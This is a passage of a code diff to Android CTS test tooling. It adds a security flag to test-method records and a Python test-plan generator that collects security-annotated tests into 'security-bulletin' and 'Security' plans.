                         isSuppressed = true;
+                    } else if (atype.toString().equals(SECURITY_ANNOTATION)) {
+                        isSecurity = true;
                     }
+
                 }
 
                 if (VogarUtils.isVogarKnownFailure(expectationStore, clazz.toString(), name)) {
@@ -581,7 +590,7 @@
                     int timeoutInMinutes = VogarUtils.timeoutInMinutes(expectation);
                     cases.add(new TestMethod(
                             name, method.commentText(), controller, supportedAbis,
-                                    knownFailure, isBroken, isSuppressed, timeoutInMinutes));
+                            knownFailure, isBroken, isSuppressed, timeoutInMinutes, isSecurity));
                 }
             }
 
@@ -642,6 +651,7 @@
         boolean mIsBroken;
         boolean mIsSuppressed;
         int mTimeoutInMinutes;  // zero to use default timeout.
+        boolean mSecurity;
 
         /**
          * Construct an test case object.
@@ -651,7 +661,7 @@
          * @param knownFailure The reason of known failure.
          */
         TestMethod(String name, String description, String controller, Set<String> abis,
-                String knownFailure, boolean isBroken, boolean isSuppressed, int timeoutInMinutes) {
+            String knownFailure, boolean isBroken, boolean isSuppressed, int timeoutInMinutes, boolean isSecurity) {
             if (timeoutInMinutes < 0) {
                 throw new IllegalArgumentException("timeoutInMinutes < 0: " + timeoutInMinutes);
             }
@@ -663,6 +673,7 @@
             mIsBroken = isBroken;
             mIsSuppressed = isSuppressed;
             mTimeoutInMinutes = timeoutInMinutes;
+            mSecurity = isSecurity;
         }
     }
 }
diff --git a/tools/utils/buildCts.py b/tools/utils/buildCts.py
index a6c76b1..8650e70 100755
--- a/tools/utils/buildCts.py
+++ b/tools/utils/buildCts.py
@@ -143,6 +143,10 @@
     plan.Include(r'android\.tests\.appsecurity')
     self.__WritePlan(plan, 'AppSecurity')
 
+    plan = tools.AnnotationTestPlan(packages, descriptions,"security")
+    plan.MakeAnnotationPlan()
+    self.__WritePlan(plan, 'security-bulletin')
+
     # hard-coded white list for PDK plan
     plan.Exclude('.*')
     plan.Include('android\.aadb')
@@ -310,6 +314,12 @@
     plan.Exclude('.*')
     self.__WritePlan(plan, 'CTS-webview')
 
+    # CTS - sub plan for Security
+    plan = tools.TestPlan(packages)
+    plan.Exclude('.*')
+    plan.Include(r'android\.security$')
+    plan.Include('android\.host\.jdwpsecurity$')
+    self.__WritePlan(plan, 'Security')
 
 def BuildAospMediumSizeTestList():
   """ Construct a defaultdic that lists package names of medium tests
@@ -544,4 +554,3 @@
   if result != 0:
     sys.exit(result)
   builder.GenerateTestPlans()
-
diff --git a/tools/utils/cts/tools.py b/tools/utils/cts/tools.py
index 832e1f2..fe5b606 100644
--- a/tools/utils/cts/tools.py
+++ b/tools/utils/cts/tools.py
@@ -215,6 +215,35 @@
     doc.writexml(stream, addindent='  ', newl='\n', encoding='UTF-8')
     stream.close()
 
+class AnnotationTestPlan(TestPlan):
+  """A CTS test plan generator by the pressence of annotations."""
+
+  def __init__(self, all_packages, descriptions, annotation):
+    """Instantiate a test plan with an annotation and a list of package names
+
+    Args:
+      all_packages: The full list of available packages. Subsequent calls to Exclude() and
+          Include() select from the packages given here.
+      descriptions: the list of xml files from which the test plans are made.
+      annotation: a string of the annotation attribute in the description files
+    """
+
+    TestPlan.__init__(self, all_packages)
+    self.annotation = annotation
+    self.descriptions = descriptions
+
+  def MakeAnnotationPlan(self):
+    """Creates the plan by looking at all of the description files for the specific annotation."""
+
+    for description in self.descriptions:
+      try:
+        package_xml = XmlFile(description)
+        security_test_list = package_xml.GetTestsWithAttr("security")
+        if security_test_list:
+          self.Include(package_xml.GetPackage())
+          self.IncludeTests(package_xml.GetPackage(), security_test_list)
+      except IOError:
+        continue
 
 class XmlFile(object):
   """This class parses Xml files and allows reading attribute values by tag and attribute name."""
@@ -236,6 +265,15 @@
     element = self.doc.getElementsByTagName(tag)[0]
     return element.getAttributeNS('http://schemas.android.com/apk/res/android', attr_name)
 
+  def GetPackage(self):
+    """Get the pack of a specific xml file.
+
+    Returns:
+      The name of the package in this file.
+    """
+
+    return self.doc.getElementsByTagName("TestPackage")[0].getAttribute("appPackageName")
+
   def GetAttr(self, tag, attr_name):
     """Return the value of the given attribute in the first matching tag.
 
@@ -248,3 +286,19 @@
     """
     element = self.doc.getElementsByTagName(tag)[0]
     return element.getAttribute(attr_name)
+
+  def GetTestsWithAttr(self, attr_name):
+    """Finds all of the tests with a specific attribute.
+
+    Args:
+      attr_name: Name of an attribute to look for.
+
+    Returns:
+      A list of tests with the desired attribute.
+    """
+    to_return = []
+    tests = self.doc.getElementsByTagName("Test")
+    for test in tests:
+      if test.hasAttribute(attr_name):
+        to_return.append(self.GetPackage() + ".cts." + test.parentNode.getAttribute("name") + "#" + test.getAttribute("name"))
+    return to_return